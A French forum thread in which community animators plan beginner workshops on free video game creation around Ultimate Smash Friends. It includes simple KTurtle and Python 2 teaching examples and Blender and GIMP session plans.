La discussion s'est poursuivie sur Ultimate Smash Friends: un smash bros like en python
Comme le sujet semblait intéresser plusieurs personnes, je propose de continuer la conversation sur la façon de mener cette animation ici.
Voici où m'avait menée ma réflexion:
Animation: programmation
Trouver une animation permettant d'aborder les notions de base de la programmation, outre ses composantes graphiques, me paraît intéressant, à terme. cool
En tout cas, l'idée reste de travailler sous Linux et en logiciel libre. Donc XNA, on oublie, désolée LittleWhite. wink
L'idée d'un saut pourraît être sympa si ce n'est pas trop complexe, mais on pourrait imaginer des animations progressives et variables suivant l'âge, le niveau et le degré de motivation des jeunes.
On a seulement 2 gamins qui pourraient comprendre et apprécier l'aspect mathématique de la programmation , tandis que les autres risquent d'être vite découragés.
Il faudra plus graphique ou plus simple pour ceux-là (même moi, les fonctions Sinus et Cosinus, j'ai oublié et je n'aimais pas ça quand j'étais jeune! wink)
Mais je vois la possibilité d'animation par étapes de plus en plus complexes:
1 - sous Tuxpaint, il y a un des jeux qui permet de réaliser une petite animation en faisant bouger le personnage.
2 - Sous Kturtle, on fait la même chose mais en code pour déplacer la tortue.
3 - Décomposition graphique du saut - Réalisation des images sur Gimp (ou un programme encore plus simple pour les 8-9 ans), Inkscape ou Blender.
4 - Créer un gif animé placé sur un décor (en HTML avec CSS pour le background)
5 - Afficher les images des étapes à l'aide d'une boucle (PHP ?)
6 - Présenter le langage de programmation contenu dans USF et comment ça fonctionne (moteur de jeu et tout ce que je ne connais pas encore...).
7 - Lire et tenter de comprendre une partie de code dans USF correspondant à un saut.
Initiation au Python:
Il y a peut-être plus simple que le saut, pour démarrer ?
Voici les étapes possibles si on veut en arriver là:
1 - Faire glisser le personnage suivant un seul axe.
2 - Puis sur 2 axes (on glisse sur l'axe Y, on saute tout droit sur l'axe Z et on retombe).
3 - Ensuite, on utilise 2 images pour la marche, ou 1 pour le glissement axe Y et 1 autre pour le saut axe Z
4 - Montrer les courbes sinusoïdale d'un vrai saut dans Blender, etc...
Je ne sais pas si Kturtle permet d'initier à ces courbes, mais ce serait peut-être plus simple qu'avec Python, non ?
Python
Je n'ai pas encore mis les mains et la tête dans Python mais je viens de prendre quelques bouquins à la bibliothèque sur le sujet. Je ne connais pour l'instant que des bribes de PHP et me contente d'essais simples (Mod'imprim ou, encore en phase test Multitours).
Je n'ai meme pas encore utilisé pour mes essais une base MySQL, je vais me lancer bientôt (je connais un peu vu qu'on va parfois trafiquer directement dans notre base de donnée au boulot, pour quelques corrections).
J'espère que j'y arriverai en python, et si moi j'y arrive, tout le monde peut y arriver ! tongue
Faire un jeu texte avec des enfants et des ados me semble impossible dans notre EPN, Tshirtman. Les notres sont difficiles à motiver. mad
Jouer, jouer, jouer, d'accord de leur côté, mais participer à une vraie animation construite et sur une certaine durée c'est beaucoup plus difficile pour notre public. sad
Kturtle
J'ai trouvé moi aussi de mon côté des programmes pour enfants permettant d'apprendre ou tout au moins d'aborder la programmation, basés sur le langage Logo.
Kturtle a effectivement l'avantage d'être très facile à installer (dispo dans les sources de Kubuntu et d'Ubuntu). J'ai plus de mal avec Xlogo ou Tangara.
C'est peut-être un point de départ avant de passer à + compliqué. Mais on m'a dit que Logo était un peu dépassé, dans le genre langage de programmation très accessible. Qu'en pensez-vous ?
Problèmes d'installation
Je confirme que le paquet .deb que m'a proposé Tshirtman ne veut pas s'installer avec Gdebi sur ma Ubuntu Studio Jaunty. Il y a des dépendances brisées me dit-il.
J'essaierai plus tard l'autre solution, mais avec les gamins, faudra bien sûr que ce soit simple à installer, sous Linux comme sous Windows.
Notez que chez nous, les gamins n'ont pas forcément Vista quand ils ont leur propre ordi car ils récupèrent souvent de vieux ordis sous XP ou pire encore. On n'en a aucun qui ait installé Linux pour l'instant, il n'y a qu'à notre EPN qu'ils le voient tourner, et le manque de jeux de haute qualité les fait tiquer.
C'est justement là l'intérêt de travailler un jeu libre avec eux, en plus de chercher d'autres jeux libres plus perfectionnés peut-etre, mais moins faciles d'accès que USF pour des animations sur la programmation et/ou le design de jeux.
En tout cas, ça n'empêche pas de commencer des animations avant que le jeu soit parfait et facile à installer sur toutes les plateformes et versions, puisque nous les animateurs, on peut s'embêter avec une install plus compliquée.
On expliquera que pour l'installer chez eux (pour ceux qui ont un ordi), il faudra attendre un peu que les programmeurs bossent encore.
Mes collègues ont été mis tout récemment sur le coup, lors d'une réunion et je leur ai envoyé les liens seulement hier, donc c'est encore jeune comme projet.
Dernière modification par doudoulolita (Le 24/04/2010, à 17:09)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
bump
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
le problème c'est que l'approche de la boucle est fondamentalement fausse, elle n'a pas de sens dans la réalité d'un jeu vidéo, donc il ne faut pas la présenter à mon avis, ni toute autre solution aussi fausse, avoir expliqué le concept de la boucle de jeu permettrait normalement aux enfants d'en trouver une meilleur (ou moins fausse) directement, autant ne pas les embrouiller.
Bon, je reprendrai les étapes après avoir lu un peu sur la conception de jeux et la programmation, pour ne pas faire d'erreurs.
Mais dans les exemples de Kturtle, j'ai vu un truc qui me semble ressembler:
initialiserépète 3 [ avance 100 tournegauche 120]
Est-ce que ce n'est pas une sorte de boucle ?
Dernière modification par doudoulolita (Le 24/04/2010, à 17:21)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Voici le code que j'ai fait lors d'un essai avec Turtle:
initialise
taillecanevas 300,300
couleurcanevas 125,10,125
lèvecrayon
va 150,120
répète 18 {
baissecrayon
avance 10
lèvecrayon
avance 10
tournedroite 20
}
attends 1
va 20,20
écris "J'ai fait tourner la tortue"
tournedroite 90
avance 200
attends 1
va 60,170
attends 1
répète 18 {
baissecrayon
avance 10
lèvecrayon
avance 10
tournedroite 20
}
va 150,250
tournegauche 90
écris "et de 2 !"
tournedroite 90
avance 100
attends 1
message "C'est fini !"
initialise
taillecanevas 300,300
couleurcanevas 125,10,125
centre
C'est dommage que l'on ne puisse pas enregistrer sous forme de gif animé et que j'aie du mal à ouvrir le fichier .turtle à partir de l'explorateur.
Ce qui est super, c'est que la doc en ligne est en français et très simple à comprendre.
Il y a quelques différences en fonction des versions: contrairement à ce quei est écrit sur la doc, je ne peux pas enregistrer comme page html mais comme une image en png.
Mais c'est déjà sympa si on pense à supprimer les dernières lignes du code bas du code (depuis message jusqu'à centre)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Je viens de commencer à apprendre Python en suivant le début du livre "Initiation à la programmation avec Pyton et C++" de Yves Bailly, éditions Pearson (2008).
Sur la capture d'écran ci-dessous, on voit le fichier dans l'explorateur de fichiers, l'éditeur de texte (kate) où on a écrit le programme qu'on a enregistré sous le nom python1.py et la console (toute noire toute triste, pour l'instant ) où on lance l'interpéteur python puis notre fichier python1.py par cette ligne de commande:
python python1.py
Le résultat s'affiche juste en dessous, dans la console, après avoir appuyé sur la touche "Entrée" du clavier.
Finalement, ça commence assez facilement (d'autant que je connais déjà certains principes grâce à PHP). Il n'y a rien à installer sous Ubuntu car Python est inclus.
Le résultat peut même être un peu graphique comme on le voit ici, en utilisant tirets et astérisques, entre autres signes.
L'important est de bien écrire les lignes de code dans l'éditeur de texte, d'enregistrer puis de lancer la commande python python1.py dans la console + touche entrée pour voir le résultat.
ENCODAGE
La première ligne indique l'encodage utilisé, ici utf-8
CHAÎNE
Au début, j'ai utilisé des chaines, c.à.d des suites de caractères qu'on met entre guillemets ou entre apostrophes:
ex: "Bonjour, Tshirtman !"
INSTRUCTION print
Pour que cette chaîne s'affiche, on utilise l'instruction print
print "Bonjour, Tshirtman !"
VARIABLES
le jeu est la première variable. On la définit par:
jeu_1 = "Ultimate Smash Friends"
Pour afficher le nom de jeu, je pourrai écrire:
print jeu_1
Le résultat sera:Ultimate Smash Friends
Si je remplace "Ultimate Smash Friends" par "Kturtle" dans la définition de la variable jeu_1, le résultat sera:Kturtle
Les personnages sont les autres variables. On les définit par:
perso_1 = "BiX"perso_2 = "Blob"
Pour afficher le nom des 2 personnages, je pourrai écrire:
print perso_1
print perso_2
Le résultat sera BiXBlob
CONCATÉNATION
Je peux mettre tout ça à la suite les uns des autres en utilisant le signe +
print "les personnages de " + jeu_1 + " sont " + perso_1 + " et " + perso_2
résultat:les personnages de Ultimate Smash Friends sont BiX et Blob
SÉPARATEUR EN TIRETS
Mon programme python1.py est assez complexe car il définit aussi une fonction permettant de faire des lignes de séparation en astériques et en tirets.
Je ne donnerai pas ici tous les détails, trop complexes pour démarrer.
Mais voici comment réaliser une ligne composée de tirets uniquement (ou d'astérisques ou tout autre signe); c'est assez simple.
Pour compliquer et parvenir à mon résultat (c'est possible, même sans définir de fonction), vous devrez réfléchir un peu !
Le principe, c'est de multiplier le tiret par le nombre de fois qu'on veut voir ce tiret apparaître.
Le tiret est en fait une chaine d'1 seul caractère, donc on doit la mettre entre apostrophes au lieu de guillemets.
soit: '-'
Ensuite, on utilise * pour effectuer la multiplication.
Puis on met un chiffre assez grand pour que la ligne de tirets soit assez longue. 80 tirets, c'est pas mal, non ?
Le code sera donc:
print '-'*80
Si on veut changer ce chiffre de 80 par un autre facilement, le mieux serait de le transformer en variable nommée nb_tirets
EXERCICE
Définissez la variable nb_tirets qui représentera le nombre de tirets composant la ligne.
Imaginez la manière de coder pour faire une ligne de 20 tirets, en changeant juste la valeur de la variable.
Puis faites une ligne de 20 astérisques.
Puis concaténez (= aditionnez) les deux.
Répétez 3 fois (on peut multiplier le code précédent par 3 en le mettant entre parenthèses).
Bon codage !
Dernière modification par doudoulolita (Le 25/04/2010, à 13:39)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Le code est encore bien compliqué car je ne sais pas encore lister automatiquement mes personnages, mais j'utilise des fonctions définies en haut du code, que j'appelle ensuite au sein du programme.
Il y a un petit problème d'encodage des accents quand je regarde ma page de code dans Firefox, mais chez moi, ça fonctionne comme il faut.
Tout ça ne bouge pas beaucoup, mais le côté graphique est amené progressivement.
Si on veut faire une ligne de tirets en pouvant changer ensuite le nombre, on met ce nombre comme variable:
nb_tirets = 80
print '-'*nb_tirets
Je rappelle que le tiret doit être mis entre apostrophes puisqu'il s'agit d'une chaine d'un seul caractère.
Il suffira de changer le chiffre 80 par un autre pour avoir une ligne plus courte ou plus longue.
FONCTION
Mais on peut être amené à réutiliser plusieurs fois ce bout de code, en changeant à chaque fois le nombre de tirets, ce qui oblige à redéfinir la variable à chaque fois et à recopier tout ce code, pas évident !
Si on accumule plusieurs instructions pour un même objet et qu'on a besoin plusieurs fois du même bout de code, une fonction sera vraiment très utile. Le programme fera appel à elle chaque fois qu'il en aura besoin puis reviendra dans le cours normal des instructions.
On va donc définir une fonction pour ce bout de code dessinant une ligne composée d'un nombre précis de tirets successifs, ce qui permettra de l'appeler ensuite quand on veut:
def Tirets(nb_tirets):
chaine_tirets = '-'*nb_tirets
return chaine_tirets
Ne pas oublier les 2 points après la parenthèse donnant l'argument de la fonction (c.à.d nb_tirets) et les tabulations avant chaine_tirets et return. Ce sont ces indentations (faites avec la touche Tab, dans Kate) qui indiquent que l'on est en train de définir la fonction.
L'instruction return permet de faire un calcul, par exemple, sans l'afficher tout de suite.
Quant on appelle cette fonction Tirets au sein du programme, on note entre parenthèses le nombre de tirets désiré. On doit mettre l'instruction print dans le programme avant le nom de la fonction car l'instruction return, présente dans la fonction, n'affiche rien. Cela donnera 80 tirets puis 30 tirets:
print Tirets(80)
print Tirets(30)
SUGGÉRER UN ROCHER
Un rocher est constitué du tiret vertical | (touche 6 + AltGr) au début et à la fin, et d'un nombre variable de tirets (touche 6, sans autre touche). La façon de réaliser un rocher est définie dans la fonction Rocher(nb_tirets).
def Rocher(nb_tirets):
chaine_tirets = '|' + '-'*nb_tirets + '|'
return chaine_tirets
Je rappelle de nouveau que le tiret et le tiret vertical doivent être mis entre apostrophes puisqu'il s'agit pour chacun d'une chaine d'un seul caractère.
Il faudra bien sûr appeler la fonction Rocher par l'instruction print Rocher(10) ou print Rocher(5) au sein du code en indiquant le nombre de tirets désirés (dans notre exemple: 10 ou 5) comme argument.
ESPACER LES ROCHERS
Entre les rochers, il y a des espaces successifs appelés par la fonction Vide, avec en argument le nombre d'espaces (touche espace du clavier, tout bêtement).
def Vide(nb_espace):
chaine_vide = ' '*nb_espace
return chaine_vide
Cette fonction est même plus simple que pour réaliser un rocher ! Il faut juste penser à mettre un espace entre les apostrophes de la chaine.
La 1ère ligne de rochers comprend donc des vides de taille différente et des rochers de taille différente.
print Vide (3) + Rocher(5) + Vide(10) + Rocher(10) + 2*(Vide(5) + Rocher(5)) + "\n"
On note que la succession d'un vide de 5 espaces et d'un rocher de 5 tirets est appelée 2 fois (en multipliant le contenu de la parenthèse par 2) comme ci-dessous:
- Succession d'un vide de 5 espaces et d'un rocher de 5 tirets:
print Vide(5) + Rocher(5)
- La même chose appelée 2 fois:
print 2*(Vide(5) + Rocher(5))
2ème LIGNE DE ROCHERS
Pour la 2ème ligne de rochers, au lieu de changer la taille des vides "à la main", j'ai additionné le chiffre avec un autre au sein de la parenthèse de la fonction Vide, ou soustrait un nombre d'espaces au premier chiffre.
- 1er vide de la 1ère ligne, de 3 espaces:
print Vide (3)
- 1er vide de la 2ème ligne, de 3 espaces supplémentaires, soit 6 espaces:
print Vide (3+3)
- 2ème vide de la 1ère ligne, de 10 espaces. Note : Pour cet exemple, l'instruction print ne se met que si vous faites l'essai isolé, sinon il faut concaténer avec le symbole + la ligne de code précédente avec celle-ci :
print Vide(10)
- 2ème vide de la 2ème ligne, de 7 espaces en moins, soit 3 espaces restants:
print Vide(10-7)
Il semble logique de ne pas changer la taille des rochers.
SYMBOLISER LES PERSONNAGES
Au-dessus des rochers, on a fait une ligne où chaque personnage est représenté par une lettre, rappelant sa forme dans le jeu.
BiX = O Blob = A Stick = I
Il y a des vides appelés par la fonction Vide entre les personnages (leur lettre) et un saut de ligne noté "\n" à la fin de la ligne, code que vous avez remarqué seul dans le fichier à d'autres endroits, concaténé en fin de lignes.
print Vide(5) + perso_1 + Vide(15) + perso_2 + Vide(8) + perso_3 + "\n"
print "\n"
Dernière modification par doudoulolita (Le 25/04/2010, à 13:27)
Hors ligne
psychederic
Re : Faire une animation sur la création de jeux vidéo libres
Si vous savez programmer , vous pouvez faire des programmes dans lequel, il n'y a plus besoin de programmer. (laissons la programmation à ceux que ca interresse des huluberlus comme nous, qui ne serons jamais la majorité de la population : point)
Pourquoi pas : a la fois du mba vers lua, et du devellopement tout graphique ( comme le jeu spore par exemple et le tout avec les avantages du libre , et d'une base de donnée de ressource libre)
Par exemple, dans un premier temps utiliser syntensity, ou refaire un "jeu complet" mugen like avec paintown, c'est peut être ce que cherche les gens : et c'est à leur portée.
( je note aussi qu'il manque aussi une partie scenario, que j'essairai de compléter )
http://doc.ubuntu-fr.org/developpement_de_jeux_video
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
@doudoulolita: eh ben! sacré démarrage heureux de voir que je t'inspire, j'ai un peu survolé tes explications, tu semble prendre les choses dans le bon sens bonne continuation
@psychedric: bizarrement les tentatives pourtant souvent réalisées par des programmeurs très compétends, de créations de langages tout graphiques, n'ont rien donné de très utilisable, en effet, exprimer la même chose avec des boutons et des graphiques qu'avec des mots clées et des suites d'ordres, s'avère être contre productif, il est vrai que la majeur partie de la population ne sera jamais développeur, mais ça ne vient pas du langage utilisé, en fait, il semble qu'on puisse aisément déterminer qui sera potentiellement programmeur et qui ne le sera pas, par un simple test, avant même d'avoir enseigné les bases… ça peut paraitre élitiste, mais c'est malheureusement le cas, enfin être formé à la programmation semble être absoluement insuffisant pour s'assurer d'être un vrai développeur…
http://www.codinghorror.com/blog/archives/000635.html
http://www.codinghorror.com/blog/2007/02/why-cant-programmers-program.html
(et dans les deux, une bonne myriade de liens très instructifs)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Merci pour les liens que j'irai voir prochainement.
Dans mon optique, il ne s'agit pas que tous les jeunes et toutes les personnes à qui nous proposerions une telle animation deviennent de vrais développeurs.
Le but du jeu est juste d'aborder, de faire découvrir la programmation pour que les jeunes comprennent de quoi il s'agit, et qu'ils puissent voir si ça leur plaît vraiment (au cas où ils rêvent de créer des jeux vidéos).
Il y a aussi la partie graphique, dans un jeu vidéo qui peut être abordée en participant au développement d'un jeu comme Ultimate Smash Friends
<- Sorlo
Aujourd'hui, j'ai montré Ultimate Smash Friends et mon personnage Sorlo à mon neveu qui vient tout juste d'avoir 11 ans et cela lui a donné envie d'en créer un lui aussi.
Mon neveu dessine plutôt bien et à plein d'idées. Il adore utiliser ma tablette graphique et commence à s'habituer à Gimp (il a Photoshop sur Mac, chez lui, mais il n'y fait pas beaucoup d'ordi). Aujourd'hui, il a griffonné quelques croquis très sympas et il ne parvenait plus à s'arrêter tellement ses idées fusaient !
Comme quoi, un gamin motivé peut partir dans des directions très intéressantes et même s'il ne va pas jusqu'au bout dans la mise au propre, ses idées peuvent être reprises par les adultes s'il est d'accord.
C'est sans doute plus complexe pour aborder la programmation, mais les petits logiciels comme Kturtle qui permettent de s'y initier sont déjà bien pour les plus jeunes, et quelques essais permettent de voir si on veut s'y coller ou pas quand on est plus âgé.
L'idéal serait d'avoir à un moment un vrai développeur qui vienne faire une intervention, mais il doit être en mesure de se mettre à la portée des jeunes, ce qui n'est pas si facile.
Ce qui semble évident pour un adulte peut en effet paraître totalement incompréhensible à un enfant.
Même en bases informatique, on voit aussi des adultes peiner devant des choses qui nous semblent aller de soi.
L'autre jour, une dame d'environ 60 ans me disait que pour elle, le clic droit ne voulait pas dire cliquer avec le bouton droit mais cliquer en allant tout droit ! Elle s'était même disputée avec son fils à ce sujet...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Problème pour installer Syntensity sous Ubuntu Jaunty!
Je vais chercher d'autres choses, j'ai vu aussi la possibilité de faire de la programmation en python avec Blender.
Mais je dois bien sûr trouver quelque chose de simple en vue de mon projet d'animation.
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Pour MyPaint, on ne peut pas installer le paquet mypaint comme indiqué dans les pré-requis de la doc d'Ubuntu (lien mort et pas trouvé dans les dépots)
Une fois l'install' effectuée, il s'ouvre mais me signale une erreur de programmation. Je ferme cette fenêtre, histoire de lui clouer le bec, et j'essaie de dessiner un peu mais la fenêtre d'erreur revient toutes les 10 secondes...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
En langage python, pour que le joueur puisse entrer une donnée, voici le code à taper dans un simple éditeur de texte :
print "Joueur n°1, tapez votre pseudo: ",
pseudo1 = raw_input()
print "Bienvenue à", pseudo1, "dans Ultimate Smash Friends, vous êtes le joueur n° 1 !"
L'instruction print permet l'affichage de la chaîne de caractère de la 1ère ligne. On se rappelle que ces chaines sont mises entre guillemets.
raw_input() permettra d'entrer la donnée pseudo1 dans le programme pour l'utiliser par la suite.
Nous l'afficherons dans une phrase grâce à la 3ème ligne. Celle-ci insèrera cette donnée pseudo1 entre 2 chaines de caractères (toujours entre guillemets, souvenez-vous !).
La virgule derrière la question, dans le code, permet que votre réponse reste sur la même ligne que la question. Idem pour les virgules avant et après pseudo1
Enregistrez sous le nom de progpseudo.py dans un dossier nommé programmes. Remplacez par le nom de votre propre programme et de votre propre dossier s'il est différent, bien sûr
Ouvrez la console (Konsole ou Terminal).
Placez vous dans le bon dossier grâce à la commande cd suivie du chemin du dossier (change directory = changer de répertoire). Ex:
cd /home/laurence/programmes
Tapez sur la touche Entrée du clavier pour entrer dans le répertoire demandé.
Ecrivez ce code à la suite dans la console pour appeler votre super programme:
python progpseudo.py
Tapez sur la touche Entrée pour lancer le programme.
La console affiche alors la 1ère ligne, à laquelle vous devez répondre.
Répondez puis validez avec la touche Entrée.
La console affichera ensuite votre réponse à l'intérieur de la phrase appelée par la 3ème ligne de code.
Cette image montre à la fois le code écrit dans l'éditeur de texte et le résultat dans la console. N'oubliez pas que je n'ai tapé mon nom qu'une fois dans la console et nulle part dans le code !
Si vous copiez-collez ces 3 lignes de codes en dessous des précédentes et que vous remplacez le chiffre 1 par le chiffre 2, vous pourrez aussi demander son pseudo au joueur n°2 et l'afficher pareillement. Essayez !
Demandez ensuite le prénom des 2 joueurs puis arrangez-vous pour l'afficher dans une phrase du type:Le pseudo de Laurence est Doudoulolita tandis que le surnom de Jean est Patouille.
N'hésitez pas à inventer d'autres questions et d'autres phrases pour vous amuser.
Dernière modification par doudoulolita (Le 18/05/2010, à 00:40)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
print "Joueur n°1, combien de points de vie avez-vous ?",
nb_points1 = int(raw_input())
print "Joueur n°2, combien de points de vie avez-vous ?",
nb_points2 = int(raw_input())
print "Au début du jeu,", pseudo1, "a", nb_points1, "points de vie,", pseudo2, "en a", nb_points2, "."
print "Il y a", \
nb_points1 + nb_points2, \
"points de vie en tout."
int(raw_input()) permet d'entrer un chiffre que l'on pourra réutiliser dans un calcul, comme ici avec nb_points1 + nb_points2. Notez qu'il y a 2 parenthèses fermantes à la fin, une pour fermer raw_input, une pour fermer int. Mais n'oubliez pas d'ouvrir les parenthèses avant de les fermer !
On note les \ avant et après le calcul, et les espaces pour indenter les 2 dernières lignes (c'est à dire les décaler vers la droite). Ne pas utiliser la touche Tabulation car il me semble que ça pose problème.
Le programme suivant se base sur cet exemple mais l'addition (ici: 5+6 = 11) est placée avant le nombre de points de chaque joueur. Il réutilise aussi le code appris précédemment.
Cliquez sur l'image de la console pour voir le code utilisé (écrit dans l'éditeur de texte, donc)
Bon, dans un jeu, on ne choisit pas soi-même ses points de vie, mais vous pouvez prendre un dé pour décider de votre réponse !
Quant au nombre de joueurs, si vous le choisissez plus élevé que le nombre choisi par le programmeur pour l'instant (ici je n'en ai prévu que 2...), vous n'aurez pas de questions pour les joueurs 3, 4, etc.
A vous de coder pour prévoir 4 joueurs, comme dans le vrai jeu d'Ultimate Smash Friends !
Dernière modification par doudoulolita (Le 20/07/2010, à 19:02)
Hors ligne
arturototo
Re : Faire une animation sur la création de jeux vidéo libres
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaj'y voit plus claire maintenant mercie!!!!!!
Artur MOUKHAMEDOV
(11 ans)
Hors ligne
arturototo
Re : Faire une animation sur la création de jeux vidéo libres
je comprend bien mieu
Artur MOUKHAMEDOV
(11 ans)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
lol, t'as le même avatar que Kanor, je t'ai pris pour lui au début, comme il fait aussi du python ^^, mais ça m'étonnait qu'il ait appris un truc juste là .
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Mon premier atelier sera sur Blender les 19 et 20 juillet de 14 à 16h à l'Espace libre 13.1.
Au programme: création d'une petite barque et intégration dans un fond en vue de créer un décor pour le jeu Ultimate Smash Friends.
Deuxième atelier sur la programmation python (B.A.BA) les 22 et 23 juillet de 14 à 16h. Un mini-script python pour Blender trouvé sur Internet complétera quelques exercices en mode texte.
Dernière modification par doudoulolita (Le 12/07/2010, à 13:47)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Voici une idée de ce que je souhaite réaliser avec les participants à mon atelier Blender du 19 et 20 juillet 2010 (pour adultes et jeunes à partir de 15 ans):
Les participants réaliseront une barque sur Blender.
Elle est modélisée avec des extrusions, le modificateur Miroir et des redimensionnements utilisant le PET (Outil d'Edition Proportionnelle).
Il faudra placer lampe et caméra pour voir la barque de profil.
On apprend aussi à utiliser le mode points, le mode arêtes et le mode faces, ainsi que l'outil Couteau (K), et à choisir un rendu en png avec un fond transparent (RGBA).
Enfin, on ajoute à la barque un matériau marron et une texture bois.
Puis, si on a le temps, les participants insèreront l'image rendue en plusieurs exemplaires avec Gimp sur une image de fond (trouvée sur internet). Ils ajouteront le personnage Sorlo pour se donner une idée de la taille que doit avoir la barque. On utilisera donc l'outil de recadrage, les calques et l'outil de redimensionnement.
L'image de fond provient de http://commons.wikimedia.org/wiki/File: … rfeurs.jpg
Dernière modification par doudoulolita (Le 12/07/2010, à 13:56)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
Oula, l'idée est intéressante mais assez perturbante du point de vue perspective ^^.
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Comme je l'ai marqué sur l'autre topic sur USF, je n'ai pas eu grand monde à mon animation.
Sur les 5/6 inscrits, seulement 2 se sont présentés, un jeune de 15 ans gentil mais qui croit que ça lui sera facile de devenir testeur de jeux, et un adulte qui s'intéressait en fait à la retouche photo sur Gimp.
Le jeune a quand même commencé un petit iceberg en vue d'en faire un élement de décor pour USF, avec Blender; ma barque ne le motivait pas beaucoup (et pourtant, sur le plan didactique, il y avait plus à apprendre !)
Pour une animation de 2x2h, on ne peut de toute façon pas faire un truc très travaillé.
Je voulais surtout leur apprendre à modéliser et texturer la barque et j'ai un peu vite fait l'insertion sur le fond, sans trop me prendre la tête dessus, j'avoue !
L'idéal serait en fait de "fabriquer la mer" avec Blender ou en tout cas de mieux placer les barques sous la camera pour avoir une perspective correcte, effectivement (mais comment placer des repères fiables ?).
Il faudrait aussi mettre quelques vagues en bas des barques pour les faire flotter en utilisant une copie du calque et un masque de calque.
Mais travailler sur un décor "à plat" (et non un truc en hauteur) n'était peut-être la meilleure idée pour un décor de jeu 2D.
Le jeune qui a fait l'iceberg pendant l'animation voudra sans doute faire aussi la mer avec Blender ou avec Gimp et là, je dois dire que je n'ai pas encore étudié la question de la profondeur. On se retrouvera aussi avec un problème de perpective.
En fait, la question que je me posais avant de concevoir cette animation, c'était de savoir si je choisissais le thème du décor et que je l'imposais à tous (plus facile avec un groupe de personnes au-delà de 4 ou 5) ou si je partais des idées des participants, ce qui implique qu'ils se mettent d'accord et pour moi, de m'adapter à un truc qu'on n'a pas testé avant.
Dans l'un comme l'autre cas, j'ai fait une erreur en oubliant un des principes de base du jeu, qui fonctionne en 2D et dont le décor doit se travailler sur l'axe Z de Blender !
J'espère avoir un peu de monde Jeudi et vendredi pour la programmation, mais si besoin, je m'adapterai aux personnes présentes.
De toute façon, la préparation de ces ateliers m'a permis d'acquérir des petites bases sur Python et j'ai même fait un essai de Pygame grâce à des tutos sur le web, donc ce n'est pas du temps perdu.
Je me suis aussi acheté le bouquin "The blender Gamekit", en anglais. A suivre...
Dernière modification par doudoulolita (Le 20/07/2010, à 18:56)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Je me suis amusée à faire encore d'autres petits essais en python en mode texte mais je voulais passer au côté graphique.
Dans le livre "Initiation à la programmation" d'Yves Bailly, qui m'a servi de base, les exemples sont donnés avec la bibliothèque Qt.
J'ai trouvé des tutos intéressants pour python avec Pygame (en anglais)
J'ai suivi les 2 premiers tutos, très simples, de pygame-tutorial et un autre pour apprendre à incorporer une image . Mon code n'est pas super mais ça affiche quelque chose !
Je suppose qu'une fonction pour les rectangles serait bien ou même peut-être existe-t-il quelque chose de "tout fait" dans Pygame. Les chiffres entre parenthèses indiquent d'abord la couleur de la ligne en mode RVB, puis les coordonnées des points de début et de fin (en pixels).
Pour trouver les codes de couleurs, choisir une couleur dans le sélecteur de couleur de Gimp et noter les chiffres R,V et B indiqués sur la droite du sélecteur de couleur.
Ce que le livre d'Yves Bailly m'a fait comprendre, c'est que pour créer un jeu en python, par ex., il faut d'abord exprimer clairement les choses et définir objets et actions du jeu (en français, tout bêtement !).
En les exprimant clairement et de manière détaillée, on voit plus rapidement comment travailler et structurer le code qu'on fera par la suite.
Un simple mouvement d'un des éléments du décor nécessite de définir les coordonnées de cet objet, de définir ses modalités de déplacement, d'indiquer ce qui provoque ce déplacement (touche de clavier, par ex); le fait qu'il ait une certaine vitesse implique le temps, et donc peut-être un chronomètre, etc!
Dernière modification par doudoulolita (Le 20/07/2010, à 19:16)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
Ce que le livre d'Yves Bailly m'a fait comprendre, c'est que pour créer un jeu en python, par ex., il faut d'abord exprimer clairement les choses et définir objets et actions du jeu (en français, tout bêtement !).
En les exprimant clairement et de manière détaillée, on voit plus rapidement comment travailler et structurer le code qu'on fera par la suite.
tout à fait, c'est vrai pour tout type de programmes, et les jeux ne font pas exceptions, mieux on sait ce qu'on veux faire (et ce n'est pas facile) plus on a de chance de le faire correctement!
un jeune de 15 ans gentil mais qui croit que ça lui sera facile de devenir testeur de jeux,
c'est facile, sauf si tu veux que ce soit un vrai métier…
Dernière modification par tshirtman (Le 20/07/2010, à 19:34)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Pour un jeune, je pense que les logiciels libres et en particulier les jeux libres leur offrent une chance formidable de s'entraîner et de vérifier leur motivation au cas où ils souhaiteraient faire de leur passion un métier.
Tester, développer, c'est quand même plus facile dans ce cadre qu'au sein d'une entreprise très fermée, non ?
Le problème de certains ados, c'est qu'ils pensent que pour être testeur, il suffit juste de jouer et que ce sera des jeux qui les passionnent alors qu'un simple tour sur les forums au sujet de ce métier (ou de cette activité, si on préfère) montre le contraire.
